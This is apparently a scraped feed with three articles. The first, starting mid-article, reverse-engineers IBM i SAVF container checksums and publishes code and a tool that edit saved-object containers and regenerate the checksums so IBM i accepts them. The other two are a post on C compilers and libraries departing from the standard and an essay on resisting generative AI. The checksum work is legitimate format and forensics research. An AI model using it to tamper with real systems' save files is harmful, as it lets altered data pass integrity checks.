    index = ((window[k] << 8) | window[k + 1]) & 0x7ff
    state[k] ^= table[index]

After the table XOR, the eight-byte state rotates left by 29 bits as one unsigned big-endian 64-bit value.

When the s0 counter reaches 251 or the s8 counter reaches 257, the corresponding state is shuffled at bit level. An s8 threshold event also exchanges bytes 4 through 7 between the two states.

The following pseudocode includes all state and ordering needed to reproduce the checksum. physical is the complete SAVF image and table is the 2,048-byte lookup table. The function derives the ordered 512-byte payload blocks by stripping the 16-byte physical trailer from each 528-byte record:

MASK64 = (1 << 64) - 1

def rotate_left_64_be(state: bytearray, count: int = 29) -> None:
    value = int.from_bytes(state, "big", signed=False)
    value = ((value << count) | (value >> (64 - count))) & MASK64
    state[:] = value.to_bytes(8, "big")

def build_spread_tables():
    spread1 = [0] * 256
    for byte in range(256):
        value = 0
        for bit in range(7, -1, -1):
            value = (value << 2) | ((byte >> bit) & 1)
        spread1[byte] = value
    spread2 = [(value << 1) & 0xffff for value in spread1]
    return spread1, spread2

def shuffle(state, spread1, spread2):
    output = bytearray(8)
    for pair in range(4):
        value = spread2[state[pair]] | spread1[state[pair + 4]]
        output[pair * 2:pair * 2 + 2] = value.to_bytes(2, "big")
    state[:] = output

def mix_half(half, state, counter, threshold,
             table, spread1, spread2):
    window = bytes([half[7]]) + bytes(half)
    for k in range(8):
        index = ((window[k] << 8) | window[k + 1]) & 0x7ff
        state[k] ^= table[index]

    rotate_left_64_be(state, 29)

    threshold_event = (counter == threshold)
    if threshold_event:
        counter = 0
        shuffle(state, spread1, spread2)

    # The caller performs the cross-state exchange, if required,
    # before incrementing this counter.
    return counter, threshold_event

def compute_global_checksum(physical: bytes, table: bytes) -> bytes:
    assert len(physical) > 0 and len(physical) % 528 == 0
    assert len(table) == 2048

    records = [
        physical[i * 528:i * 528 + 512]
        for i in range(len(physical) // 528)
    ]

    spread1, spread2 = build_spread_tables()
    s0 = bytearray([0x55] * 8)
    s8 = bytearray([0xaa] * 8)
    c0, c8 = 1, 121

    global_backup = records[0][0x40:0x50]

    for record_index, record in enumerate(records):
        payload = bytearray(record)
        if record_index == len(records) - 1:
            payload[496:512] = global_backup

        for offset in range(0, 512, 16):
            block = payload[offset:offset + 16]

            c0, _ = mix_half(
                block[0:8], s0, c0, 251, table, spread1, spread2
            )
            c0 += 1

            c8, s8_event = mix_half(
                block[8:16], s8, c8, 257, table, spread1, spread2
            )
            if s8_event:
                old_s0_tail = bytes(s0[4:8])
                s0[4:8] = s8[4:8]
                s8[4:8] = old_s0_tail
            c8 += 1

    return bytes(s0) + bytes(s8)

build_spread_tables implements a classic bit-interleaving trick: spread1[byte] spreads the 8 bits of byte out so each bit lands in every other bit position of a 16-bit value, leaving the in-between positions zero; spread2 is the same table shifted left by one bit, so its bits land exactly in the positions spread1 left empty:

bit position:   15 14 13 12 11 10 09 08 07 06 05 04 03 02 01 00
spread1(byte):   0 b7  0 b6  0 b5  0 b4  0 b3  0 b2  0 b1  0 b0
spread2(byte):  b7  0 b6  0 b5  0 b4  0 b3  0 b2  0 b1  0 b0  0

shuffle then combines one byte from each half of the state — spread2[state[pair]] from the first half, spread1[state[pair + 4]] from the second — by OR-ing their spread values together, interleaving the two bytes’ bits pairwise into one 16-bit output. Doing this for all four byte pairs interleaves the state’s two four-byte halves together, bit by bit.

The order matters. The algorithm first applies the table XOR and rotates the result by 29 bits. It then tests the counter. If the counter has reached its limit, the algorithm resets it and shuffles the bits. For s8 , it also exchanges four bytes between the two running values. Only then does it increment the counter. Changing this order changes the result.

A synthetic global-checksum vector

The following vector tests the global algorithm without a private SAVF. It contains nine physical records. Payload byte i in zero-based record r is (r * 17 + i * 29 + 3) & 0xff . The backup at logical 0x40 is f0f1...feff , the final overlay initially contains a0a1...aeaf , and each 16-byte physical trailer is zero because trailers are not global-checksum input.

Nine records contain 288 blocks, so this vector reaches both shuffle thresholds and the s8 -triggered cross-state exchange:

records = []
for record_index in range(9):
    payload = bytearray(
        (record_index * 17 + offset * 29 + 3) & 0xff
        for offset in range(512)
    )
    records.append(payload)

records[0][0x40:0x50] = bytes(range(0xf0, 0x100))
records[-1][496:512] = bytes(range(0xa0, 0xb0))

physical = bytearray()
for payload in records:
    physical.extend(payload)
    physical.extend(bytes(16))

expected = bytes.fromhex("dbf1671ed17396a03f60bd52ddf749db")
calculated = compute_global_checksum(bytes(physical), table)
assert calculated == expected
print(f"calculated global: {calculated.hex()}")

The output is:

calculated global: dbf1671ed17396a03f60bd52ddf749db

The lookup table has the SHA-256 shown above. I checked this expected value directly with jSAVF 1.83’s compiled GlobalChecker and with the independent Python reconstruction.

Why the final record must be repaired last

Writing the global checksum changes the final record’s payload and invalidates that record’s trailer. For an ordinary payload edit, the dependencies are:

changed payload bytes
    +-> affected record trailer(s)
    `-> global checksum
            `-> final record trailer

The global calculation reads only the 512-byte payloads, not the physical record trailers. The affected trailer and the global value are therefore parallel results of the payload change. The final trailer depends on the newly written global value and must be calculated last.

A safe repair order is:

  1. recalculate the record trailers;
  2. calculate the global value after restoring the header backup over the final field;
  3. write the global value at file_size - 32 ;
  4. recalculate the final record trailer again.

There is one special case. The global field physically replaces the true final 16 logical bytes. If those bytes must change, the replacement data belongs in the backup at logical 0x40 . That changes record #1’s payload and trailer, the global checksum, and finally the last record’s trailer.

Testing the backup assumption

The SAVFs used in the main experiment had zero-filled backups at logical 0x40 . This meant that an implementation which replaced the final field with zeroes would still produce the correct result for those files. I therefore looked for SAVFs with a nonzero backup and found two useful examples:

File Backup at logical 0x40 Stored global Zero-filled calculation Backup-aware calculation
20260830_QSYS_QTOCSSTBL_uncompressed.savf 40404040404040404040404040404040 d1d0d5c608257c3a75f62b1d3b509364 11101506c8e5bcfab536ebddfb9053a4 exact match
QTOFRULZ.FILE d3404040404000000000000000000000 59311393322093c8527e36d903e5c4a4 99f1d393395a1308527e36d903e5c4a4 exact match

Both files also have valid per-record trailers. Replacing the overlaid field with zeroes produces the wrong values shown in the table. Restoring the 16-byte header backup reproduces each stored global checksum exactly. For these two files, this confirms that the backup is part of the global-checksum input.

Finding the same constants in IBM LIC

jSAVF showed how the global checksum was calculated. I also wanted to see whether the same unusual table and constants appeared in IBM’s LIC.

I searched an IBM i 7.5 RS_750-J Licensed Machine Code installation image for the complete 2,048-byte table. It occurs once in the installation image, at offset 0x42FDE8A0 . Within the 64 bytes immediately before the table, I found the two state seeds, both counter seeds, and both thresholds used by the reconstructed algorithm:

0x42FDE860: 55555555 55555555 00000000 00000000   initial s0
0x42FDE870: 00000001 000000fb 00000000 00000000   c0 = 1, threshold = 251
0x42FDE880: aaaaaaaa aaaaaaaa 00000000 00000000   initial s8
0x42FDE890: 00000079 00000101 00000000 00000000   c8 = 121, threshold = 257
0x42FDE8A0: 90aca3f7 e3e620be 686e0935 ea4efd6c   table begins

The same table is present in QFILEMCD , an extracted LIC code-and-data image. It begins at file offset 0x2503E8A0 .

If you have access to licensed IBM LIC installation media and an extracted QFILEMCD , the table search itself is straightforward:

from pathlib import Path
import hashlib
import mmap

EXPECTED_TABLE_SHA256 = (
    "93f81fd81523a2521cf17b234edb05155998bc7e46d88b966b4bd9eef64c0764"
)

table_resource = Path("sandbox.ser").read_bytes()
assert len(table_resource) >= 27 + 2048
table = table_resource[27:27 + 2048]
# Pin the table extracted from the jSAVF 1.83 build used for this article.
assert hashlib.sha256(table).hexdigest() == EXPECTED_TABLE_SHA256

with open("QFILEMCD", "rb") as f, \
     mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) as image:
    offsets, start = [], 0
    while (found := image.find(table, start)) != -1:
        offsets.append(found)
        start = found + 1

print([hex(offset) for offset in offsets])

On the QFILEMCD image I analyzed, the output was:

This locates one complete copy of the table at the file offset given above.

Finding the constants does not identify the LIC routine that reads them or prove that IBM’s control flow matches jSAVF. It also does not show that the machine which created my SAVF ran this exact LIC level. The search shows that IBM’s installation media contains the same table together with the matching state seeds, counter seeds, and thresholds.

Modifying and repairing the SAVF

I put the backup-aware implementation in a standalone Python script named savf_checksum_demo.py . Its public interface has four operations: repair the checksum fields, list saved objects, copy an object from a compatible donor SAVF, and remove an object. The add and remove operations repair every dependent checksum field automatically. The reproduction section below uses the same object-removal path as the final experiment without requiring private files.

Validating against the original SAVF

I ran the reconstruction on the untouched IBM-generated file. The validation output was:

record trailers: all 160 OK
stored global:     5513f83d38b944fe9814e1dc8d0b04fe
calculated global: 5513f83d38b944fe9814e1dc8d0b04fe
global checksum:   OK

The Python implementation reproduces all 160 record trailers and the stored global value 5513f83d38b944fe9814e1dc8d0b04fe . This checks the record numbering, both reduction passes, timestamp XOR, table parsing, field placement, and global state transitions against values written by IBM i.

Analyzing a valid-record, stale-global file

SAVE2.FILE gave me a useful intermediate state. Compared with SAVE1.FILE , three program payload bytes in record #55 (index 54) changed to 0x41 :

Logical offset Physical offset Change
0x6D50 0x70B0 fb to 41
0x6D52 0x70B2 ff to 41
0x6D53 0x70B3 30 to 41

Five bytes in record #55’s trailer changed with the payload. The updated trailer matches those bytes, and all 160 record trailers are valid. The global checksum and the final record trailer are still byte-for-byte equal to SAVE1.FILE , so the stored global value is stale.

record trailers: all 160 OK
stored global:     5513f83d38b944fe9814e1dc8d0b04fe
calculated global: 5013b87d388154fb9835f5dc8d0980ff
global checksum:   STALE

Compared with SAVE1.FILE , this intermediate file differs at eight positions: the three payload bytes and five bytes in record #55’s trailer. I recreated this state by applying those three edits to SAVE1.FILE and recalculating only record #55’s trailer; the result matched SAVE2.FILE byte for byte.

Predicting the repair footprint

The dependency model predicts that repairing SAVE2.FILE should change only two places:

  • the embedded global field;
  • the final record trailer, because the global field is part of its payload.

The changed program bytes and record #55 trailer should remain untouched.

I repaired a copy with the final tool:

$ python3 savf_checksum_demo.py fix SAVE2.FILE SAVE2-repaired.FILE
checksum repaired: SAVE2-repaired.FILE

A separate validation pass found all 160 record trailers valid and both the stored and calculated global value equal to 5013b87d388154fb9835f5dc8d0980ff .

cmp finds exactly 21 changed byte positions between SAVE2.FILE and the repaired output:

physical 0x149E0..0x149EF  global field:          11 positions differ
physical 0x149F0..0x149FF  final record trailer:  10 positions differ
elsewhere:                                           0 differences

Only 11 and 10 positions differ because some bytes happen to be equal in the old and new 16-byte values. The complete comparison is:

Comparison Payload bytes Trailer bytes Global-field bytes Total positions
SAVE1.FILE to SAVE2.FILE 3 5 in record #55 0 8
SAVE2.FILE to repaired output 0 10 in record #160 11 21
SAVE1.FILE to repaired output 3 15 across two trailers 11 29

This is a consistency check rather than an independent validation, because the same implementation both predicts and produces the repair. Still, the output changes only the expected 21 byte positions and nothing else.

Editing a SAVF container

The three-byte SAVE1 / SAVE2 comparison established the checksum dependency order, but editing bytes inside a saved program also raises unrelated object-validation questions. For the final test I therefore changed the SAVF structure instead: I removed one complete object from a two-object container and left the retained object’s saved section data unchanged.

I created TESTA and TESTB as disposable copies of the same program and saved them together without compression. The resulting SAVF had 288 physical records. Its backup-restored logical stream contained three sequential items. Here, an item is one continuous area of bytes with its own header and stored length:

QSRDSSPC.1 logical 0x1000..0x3fff length 0x3000 srds 0x0
TESTA      logical 0x4000..0x13fff length 0x10000 srds 0x70
TESTB      logical 0x14000..0x23fff length 0x10000 srds 0x107

In this output, srds is the QSYS catalogue-descriptor offset encoded in the low 24 bits of the item field at +0x24 (zero for the catalogue item itself). A descriptor is the catalogue entry for one saved object.

These offsets come from three different structures, each relative to its own start rather than to the whole file:

logical stream
├─ file header                              (+0x34 header length, +0x08/+0x38 record count)
├─ QSRDSSPC.1 item   0x1000..0x3fff
│    ├─ item header                         (+0x04 name, +0x24 catalogue-descriptor link)
│    └─ catalogue                           (+0x2A object count)
│         ├─ descriptor[0] @ +0x70   (151 bytes — TESTA)
│         └─ descriptor[1] @ +0x107  (151 bytes — TESTB)
├─ TESTA item        0x4000..0x13fff         (item header +0x24 → 0x70)
└─ TESTB item        0x14000..0x23fff        (item header +0x24 → 0x107)

With that in mind: QSRDSSPC.1 is the save/restore data-space item that carries the object catalogue. The parser restores the global overlay before walking the logical stream. The four-byte big-endian header-length field at 0x34 was 0x1000 , so the first item began at logical 0x1000 . The implementation also supports the documented zero value, which means a 512-byte header. It checks the 0xFFFFFFFF item marker, reads the EBCDIC name at item offset 0x04 , and calculates each uncompressed item’s stored length from the four-byte big-endian field at 0x48 :

(big_endian_u32(item + 0x48) + 1) * 512

The item also stores its total length, in 512-byte units, in the four-byte big-endian field at 0xCC . The 2001 MI400 description calls this the number of 528-byte records to the next descriptor. Both descriptions agree for contiguous non-final items: the same count describes both views. Multiplying it by 512 gives the item’s logical length, while the same number of 528-byte physical records gives the raw-file distance to the next descriptor. The final item still carries its total length even though no descriptor follows it.

For this fixture, QSRDSSPC.1 stored 0x17 at 0x48 and 0x18 at 0xCC ; both derive a length of 0x3000 . TESTA and TESTB each stored 0x7F at 0x48 and 0x80 at 0xCC ; both derive 0x10000 . These values equal the actual item spans. There is no separate absolute next-item pointer in this QSYS layout: the outer parser advances by the computed item length, while the object catalogue is a count-delimited, fixed-stride descriptor array. jSAVF’s separate next-item handling is for IFS catalogue trees, which are not present here.

Removing TESTA did not require changing 0xCC : QSRDSSPC.1 kept its 0x3000 span, and the retained TESTB item moved earlier but kept its 0x10000 span. The editor changed the four-byte big-endian record count at header offset 0x08 and the matching eight-byte big-endian count at 0x38 from 288 to 160; the header-length field remained 0x1000 .

The catalogue occupies logical 0x3000..0x3FFF . Its four-byte big-endian object count at catalogue offset 0x2A was two. For this target-release format, the two 151-byte object descriptors began at catalogue offsets 0x70 and 0x107 . Each saved-object item contains a four-byte big-endian field at item offset 0x24 . jSAVF uses the high byte for IFS flags and the low 24 bits as the QSYS catalogue-descriptor offset; the QSYS values here were 0x70 and 0x107 .

Removing TESTA therefore required more than deleting its bytes. The editor:

  1. removed the complete TESTA item at 0x4000..0x13FFF ;
  2. changed the catalogue object count from two to one;
  3. moved the TESTB descriptor from 0x107 to 0x70 and cleared the unused slot;
  4. changed TESTB ’s item-header descriptor link from 0x107 to 0x70 ;
  5. updated both record-count fields in the file header;
  6. copied the new final 16 logical bytes to the backup at logical 0x40 , rebuilt the physical records, and recalculated every record trailer;
  7. calculated the new global checksum, wrote it to the final payload, and recalculated the final trailer.

The 151-byte TESTB catalogue descriptor was copied unchanged from 0x107 to 0x70 . Its header occupation at item offset 0x44 was 0x2F8 ; its saved-object sections began at the first 4096-byte boundary, item-relative 0x1000 . After aligning the baseline and edited TESTB items, the only differences in that first 0x1000 -byte descriptor/header area were relative offsets 0x26 and 0x27 , inside the four-byte catalogue-reference field. Every byte from item offset 0x1000 through the end of the item was unchanged. The edit produced these structural changes:

Property Baseline Edited
TESTA item 0x4000..0x13FFF absent
TESTB item 0x14000..0x23FFF 0x4000..0x13FFF
Logical size 0x24000 (147,456 bytes) 0x14000 (81,920 bytes)
Physical records 288 160
Physical size 152,064 bytes 84,480 bytes
Stored global checksum 791ea5ec90f35d20829dc5561098c130 bfd84cce59a6e7993e85c8a0e1a4e9cf

For this fixture the new final logical bytes and the backup were both zero. The implementation nevertheless copies the actual new tail into the backup rather than assuming zeroes.

Before import, the repaired result satisfied these invariants:

SAVF differs from baseline: YES
logical structure differs: YES
TESTA present in baseline: YES
TESTA present in edited:   NO
TESTB present in baseline: YES
TESTB present in edited:   YES
TESTB saved-object section payload changed: NO
TESTB item-header descriptor link: 0x107 -> 0x70
record trailers: all 160 OK
stored global == calculated global: YES

I also generated a negative control with the same structural edit and rebuilt record trailers, but left the old global value in place. Its 160 trailers all validated; its stored global was 791ea5ec90f35d20829dc5561098c130 , while the calculation produced bfd84cce59a6e7993e85c8a0e1a4e9cf . The stale and repaired copies have identical backup-restored logical streams. Their 28 differing physical byte positions are confined to the global field at 0x149E0..0x149EF and the final record trailer at 0x149F0..0x149FF .

Testing the edited SAVF on IBM i

I transferred the baseline, edited-and-stale, and edited-and-repaired files through the same stream-file and CPYFRMSTMF path on IBM i 7.5. The baseline and edited variants used separate destination SAVFs, and each restore used a fresh target library.

Case Record checks Global CPYFRMSTMF DSPSAVF Restore TESTB
Baseline 288 valid valid CPCA081 TESTA , TESTB CPC3703
Edited + stale 160 valid stale CPDA088 , then CPFA095 not reached not reached
Edited + repaired 160 valid valid CPCA081 TESTB only CPC3703

The stale import stopped with:

CPDA088: Error writing to object.
CPFA095: Stream file not copied.

The repaired import completed with:

CPCA081: Stream file copied to object.

DSPSAVF reported 160 records, one saved object, and listed only TESTB . Restoring that retained object into an empty library produced:

CPC3703: 1 objects restored from SVC29 to RMRF29.

The actual controlled run used SVC29 as the source library and RMRF29 as the fresh restore library; the reproduction commands below use generic example names.

This is the practical checksum-fixer result. The SAVF was structurally different, TESTA was absent, and TESTB ’s saved-object section data had not changed. After the dependent record and global checksum fields were regenerated, IBM i accepted and interpreted the edited container, and the retained object remained usable.

The editor is not intended to reproduce the byte-for-byte output of a fresh native SAVOBJ operation; the experiment tests whether the structurally edited and checksum-repaired container is accepted and interpreted correctly by IBM i.

Reproducing the experiment

The private research SAVFs are not required. The specific implementation used for these experiments is available in the Silent Signal SAVF IBM i repository . It requires Python 3.9 or later and exposes four commands:

  • fix recalculates every record trailer, the global checksum, and the final trailer;
  • list validates the record trailers and lists the QSYS catalogue;
  • add copies one complete object from a compatible donor SAVF and repairs the output; and
  • remove removes one complete object and repairs the output.

The editor deliberately supports the uncompressed QSYS layout tested here. It rejects compressed items, incompatible catalogues, ambiguous names, unknown links, and insufficient catalogue space rather than guessing.

First extract the lookup-table resource from the public jSAVF distribution:

curl -fL -A 'Mozilla/5.0' -O https://www.anerty.net/dl/jsavf-dist-1.83-jars-only-linux.tar.xz
tar -xJf jsavf-dist-1.83-jars-only-linux.tar.xz
unzip -p jsavf/jSAVF-1.83.jar net/anerty/os400/savf/check/sandbox.ser > sandbox.ser

Every checksum-changing command validates the extracted table against the SHA-256 published earlier in this article before using it.

1. Create and export a two-object baseline

Replace USERB1 with a disposable test library and TESTPGM with a disposable program that can be duplicated. The SSH account and host below are examples.

CRTDUPOBJ OBJ(TESTPGM) FROMLIB(USERB1) OBJTYPE(*PGM) TOLIB(USERB1) NEWOBJ(TESTA)
CRTDUPOBJ OBJ(TESTPGM) FROMLIB(USERB1) OBJTYPE(*PGM) TOLIB(USERB1) NEWOBJ(TESTB)
CRTSAVF FILE(USERB1/BASELINE)
SAVOBJ OBJ(TESTA TESTB) LIB(USERB1) OBJTYPE(*PGM) DEV(*SAVF) SAVF(USERB1/BASELINE) DTACPR(*NO)
CPYTOSTMF FROMMBR('/QSYS.LIB/USERB1.LIB/BASELINE.FILE') TOSTMF('/tmp/baseline.FILE') STMFOPT(*REPLACE)
scp userb1@ibmi.example:/tmp/baseline.FILE baseline.FILE

List the baseline objects, then run a checksum repair into a separate file and compare it with the original:

$ python3 savf_checksum_demo.py list baseline.FILE
TESTA
TESTB

$ python3 savf_checksum_demo.py fix baseline.FILE baseline-checked.FILE
checksum repaired: baseline-checked.FILE

$ cmp -s baseline.FILE baseline-checked.FILE && echo "baseline checksums already valid"
baseline checksums already valid

fix always recalculates the complete checksum state. Byte equality therefore shows that the original already contained the calculated record trailers and global value. Record counts and checksum values depend on the saved objects and IBM i release.

2. Remove one object and repair the container

remove writes a new SAVF, leaves the baseline untouched, and repairs all checksum dependencies in the output:

$ python3 savf_checksum_demo.py remove baseline.FILE edited-repaired.FILE TESTA
removed object: TESTA
objects: TESTB
record count: 288 -> 160

Check the resulting catalogue and prove that a second checksum pass makes no changes:

$ python3 savf_checksum_demo.py list edited-repaired.FILE
TESTB

$ python3 savf_checksum_demo.py fix edited-repaired.FILE edited-checked.FILE
checksum repaired: edited-checked.FILE

$ cmp -s edited-repaired.FILE edited-checked.FILE && echo "edited SAVF checksums valid"
edited SAVF checksums valid

$ wc -c baseline.FILE edited-repaired.FILE
152064 baseline.FILE
 84480 edited-repaired.FILE
236544 total

The repaired file is not a restored copy of the baseline: it is 128 records shorter, contains no TESTA item, and still contains the unchanged TESTB section payload.

The published editor intentionally emits only a checksum-repaired output. The edited-and-stale negative control described in the previous section was generated during validation by retaining the baseline global value while rebuilding the edited file’s record trailers. It isolates global-checksum enforcement, but deliberately creating invalid SAVFs is not part of the public command interface.

3. Import and inspect the edited SAVF

Upload the baseline and edited physical files through the same path:

scp baseline.FILE userb1@ibmi.example:/tmp/baseline.FILE
scp edited-repaired.FILE userb1@ibmi.example:/tmp/edited-repaired.FILE

Create separate SAVFs and import both files with CPYFRMSTMF :

CRTSAVF FILE(USERB1/BASEIN)
CRTSAVF FILE(USERB1/EDITFIX)

CPYFRMSTMF FROMSTMF('/tmp/baseline.FILE') TOMBR('/QSYS.LIB/USERB1.LIB/BASEIN.FILE') MBROPT(*REPLACE)
CPYFRMSTMF FROMSTMF('/tmp/edited-repaired.FILE') TOMBR('/QSYS.LIB/USERB1.LIB/EDITFIX.FILE') MBROPT(*REPLACE)

On the IBM i 7.5 system used for this article, both imports completed with CPCA081 . The separately prepared stale control reported earlier failed with CPDA088 followed by CPFA095 .

Display the repaired SAVF and restore its retained object into a fresh library:

DSPSAVF FILE(USERB1/EDITFIX) OUTPUT(*PRINT)
CRTLIB LIB(EDITTEST) TYPE(*TEST)
RSTOBJ OBJ(TESTB) SAVLIB(USERB1) DEV(*SAVF) OBJTYPE(*PGM) SAVF(USERB1/EDITFIX) RSTLIB(EDITTEST)

In the controlled run, DSPSAVF listed TESTB and did not list TESTA ; RSTOBJ completed with CPC3703 .

4. Other tool operations

The same release can copy one object from a compatible donor SAVF and can repair checksum fields without changing the saved-object data:

python3 savf_checksum_demo.py add target.FILE donor.FILE output.FILE OBJECT
python3 savf_checksum_demo.py fix input.FILE fixed.FILE

add requires compatible uncompressed catalogues, a unique donor object name, an unused descriptor slot, and enough free catalogue space. The repository README describes the supported layout and the conditions that make the command stop instead of guessing.

The security boundary

IBM’s record and global checks detect inconsistent or unrepaired SAVF data, but the values are deterministic and unkeyed. Once their algorithms are known, SAVFs using this layout can be verified, repaired, and structurally edited off-platform without using IBM i to regenerate the container checksums. This is useful for format tooling, forensic analysis, interoperability, and controlled repair of damaged SAVFs; it does not replace IBM i’s separate signature and saved-object validation mechanisms.

IBM documents a separate digital-signature layer for SAVFs . Program validation, object signatures, conversion, and restore-policy checks belong to the saved objects and restore process; they are separate from the SAVF container checksums and are not modified by the container repair. The final experiment avoids that ambiguity by removing one complete item while leaving the retained object’s saved section data unchanged.

Conclusion

The reverse engineering required two views of the same file: 528-byte physical records for the record trailers, and the concatenated 512-byte payloads for the logical stream. The per-record algorithm reduces a sequence number and payload through shifted byte-array additions and mixes in the SAVF timestamp. The global algorithm uses a 2,048-byte substitution table, two rotating states, counter-triggered shuffles, and a header backup to handle its overlay on the final payload.

The implementation reproduces all stored checksums in the original IBM-generated SAVF. Synthetic vectors exercise both algorithms, two nonzero-backup files confirm the role of the actual backup bytes in those examples, and the same table and nearby constants occur in IBM LIC media. The SAVE1 / SAVE2 comparison also reconstructs a valid-record, stale-global state, showing exactly which checksum fields must be updated after a payload change.

The final IBM i control tested an actual container edit. I removed the complete TESTA item from a two-object, uncompressed SAVF, preserved TESTB ’s saved-object section data, rebuilt the physical record stream, and regenerated the record and global checksum fields. IBM i rejected the structurally edited copy while its global value was stale. It accepted the repaired copy, DSPSAVF showed only TESTB , and TESTB restored successfully.

This establishes the checksum result for the tested IBM i 7.5 uncompressed QSYS layout: the SAVF container can be structurally edited and made internally valid again by recalculating its dependent checksum fields. It does not imply support for every historical or compressed SAVF variant, and it does not change IBM i’s separate signature or saved-object validation mechanisms.

your c is not standard c

Lobsters
sebsite.pw
2026-10-12 13:17:18
Comments...
Original Article
The committee has created an unreal language that no one can or will actually use.
- Dennis Ritchie (out of context)

this is an incomplete list of some incompatibilities between c as it's written in the standard and c as it exists in the real world for people who use gcc/clang + glibc/musl.

asm

by default, gcc and clang recognize the asm keyword as an extension. this is not strictly conformant, because in standard c, asm is a valid non-reserved identifier. so code which conforms to the standard may not compile with gcc/clang with their default settings.

and like, whatever, that's fine, that's why -std exists, but 1. it's notable that compilers aren't conformant by default , and 2. why doesn't the standard just make asm a reserved word? c++ does that; i'm not sure why c doesn't.

FLT_ROUNDS

the standard specifies the FLT_ROUNDS macro in float.h as follows:

5.3.5.3.3p23 :
The rounding mode for floating-point addition for standard floating types is characterized by the implementation-defined value of FLT_ROUNDS . Evaluation of FLT_ROUNDS correctly reflects any execution-time change of rounding mode through the function fesetround in <fenv.h> .

notably, the standard requires that the value dynamically changes with the runtime floating environment. gcc, however, always defines FLT_ROUNDS to 1 (rounds to nearest), regardless of the runtime rounding mode:

/* Addition rounds to 0: zero, 1: nearest, 2: +inf, 3: -inf, -1: unknown.  */
/* ??? This is supposed to change with calls to fesetround in <fenv.h>.  */
#undef FLT_ROUNDS
#define FLT_ROUNDS 1

clang defines a builtin for this ( __builtin_flt_rounds() ), but gcc doesn't, for some reason.

standard pragmas

at some point in the future i'm gonna make an entire blog post dedicated to just this, because i kinda find it fascinating. but the super duper short version is this:

the c standard specifies five standard pragmas to control the behavior of floating point arithmetic:

// added in c99:
// switch can be ON, OFF, or DEFAULT
#pragma STDC FP_CONTACT ON
#pragma STDC FENV_ACCESS ON
#pragma STDC CX_LIMITED_RANGE ON

// added in c23:
// direction can be FE_DYNAMIC, FE_DOWNWARD, FE_TONEAREST,
// FE_TONEARESTFROMZERO, FE_TOWARDZERO, FE_UPWARD, or some
// other implementation-defined value
#pragma STDC FENV_ROUND FE_DYNAMIC
#pragma STDC FENV_DEC_ROUND FE_DYNAMIC

however, over 27 years after c99 was standardized, gcc still doesn't support any of the standard pragmas . they're just no-ops in gcc.

some (but not all) of the functionality can be replicated with command-line flags, but those operate on the entire translation unit, whereas the pragmas can apply to individual functions and blocks.

clang mostly supports the c99 pragmas, but still doesn't support the c23 pragmas.

there's actually so much more to say about these. i will be writing more about them at some point, but rn i don't really have the motivation cuz it's such a big thing lol

initstate error behavior

this one is a posix extension, so not necessarily "standard c", more like "posix c", but it's still a documented incompatibility with a standard: in glibc, initstate doesn't return NULL on error, despite posix requiring that it does:

// EINVAL: state array less than 8 bytes
char *state = initstate(67, (char [1]){}, 1);
assert(errno == EINVAL); // ok
assert(state == NULL); // fails, despite posix requiring it to succeed

the man page initstate(3) very unhelpfully first describes the posix behavior in the RETURN VALUE section, as though it's the actual behavior:

The initstate () function returns a pointer to the previous state array. On failure, it returns NULL, and errno is set to indicate the error.

only at the very bottom in the BUGS section does it say that glibc behaves differently:

According to POSIX, initstate () should return NULL on error. In the glibc implementation, errno is (as specified) set on error, but the function does not return NULL.

qualifiers in function return types

the standard requires that qualifiers in function return types are discarded:

If, in the declaration " T D1 ", D1 has the form
D ( parameter-type-listopt ) attribute-specifier-sequenceopt
and the type specified for ident in the declaration " T D " is " derived-declarator-type-list T ", then the type specified for ident is " derived-declarator-type-list function returning the unqualified, non-atomic version of T ". The optional attribute specifier appertains to the function type.

but clang treats them as significant:

$ cat t.c
int f();
const int f();
$ clang t.c
t.c:2:11: error: conflicting types for 'f'
    2 | const int f();
      |           ^
t.c:1:5: note: previous declaration is here
    1 | int f();
      |     ^
1 error generated.

the two declarations should be identical, but clang thinks they're incompatible.

outdated va_start definition on musl

for some reason, musl provides its own versions of some headers which the compiler already provides itself. one of these is stdarg.h , which is required to be supported by freestanding implementations and so is virtually guaranteed to already be provided by the compiler. but because it's provided by musl, compilers will use that header instead of the builtin one.

this is a problem because musl's header is strictly worse than the builtin header. here's how musl defines va_start :

#define va_start(v,l)   __builtin_va_start(v,l)

this definition is incorrect, because c23 allows the second argument to be omitted. it should be defined like this:

#if __STDC_VERSION__ >= 202311L
#define va_start(...) __builtin_c23_va_start(__VA_ARGS__)
#else
#define va_start(v,l) __builtin_va_start(v,l)
#endif

the result is that, when compiling for musl, c23's single-argument va_start can't be used, even if it's supported by the compiler.

see also

What I've been seeing lately (in software)

Lobsters
mei.puppycat.house
2026-10-12 13:08:00
Comments...
Original Article

Listened to nightlight while writing.

What is going on in software? You know what I’m talking about, the stuff with Generative AI. This thing that everyone is frothing talking about. Apparently I am too.

Is it good?

Let’s not talk about that for a minute, and instead look at my little world as of late:

The thrust forward Link to section

There are people who care. Around me I am seeing more and more people who care about the “art of software” force themselves to not give into LLMs, and we are.. losing slower, mostly. Or not?

Where I feel we are gaining, it is more extremely hobbyist. It is better ideas that are being done with the (little) execution we have. So now, what are these ideas?

Perspectives on software Link to section

Normalizing pro-human discussion Link to section

This has to come first for everything else to work.

We are normalizing handmade creative output and asserting that the practical merits of a tool cannot outweigh the moral ones; the master’s tools will never dismantle the master’s house. @

I feel attacked when someone shows me an AI-generated video, forcing it on my eyes, devaluing good food with cheap sugar and MSG. Diet coke. There is no way out but through, our species is so addicted…

I can only feel sorry for the humans that fall down this trap.

Exacting design practices and surreptitious organizing Link to section

A friend of mine is working on Evocation , a ground-up computing system targeting x86 bytes with Forth. It is difficult work. She does not have many facilities to work with; the ones that do exist are a pain in the ass to use.

Programming is labor. Any particular project requires a lot of it, continuously. Most software systems are inadequately documented — context lives in developer brains.

We do not have the luxury of halting work for a year, to switch to something more important. We need to keep going, nothing can be done without that.


A software community I am part of is fairly young; a few months ago Polyphony was solely a vessel for Polyproto , but lately it has been maintaining capacity for at least one more project — slopscore .

It’s been very nice to see that we can grow a community as substantive as this, and while it’s puny in effect compared to the likes of worm-blossom who are getting funded somewhat consistently.. it’s something! It makes me have faith what we are doing is right: it’s also a social movement.

Hopefully some more time passes, and we see a third project really come to life. We did try, but nothing much has come of it for now.

(Luckily, we didn’t explode from 2,320,103 people wanting to learn more about a Helix fork. So we should be able to keep trying.)

Intermission: “But I still need a job!” Link to section

Yes, me too. I don’t know yet, but EMMA is a good model. Maybe you should ask Dave instead . Might write about this if I figure it out.

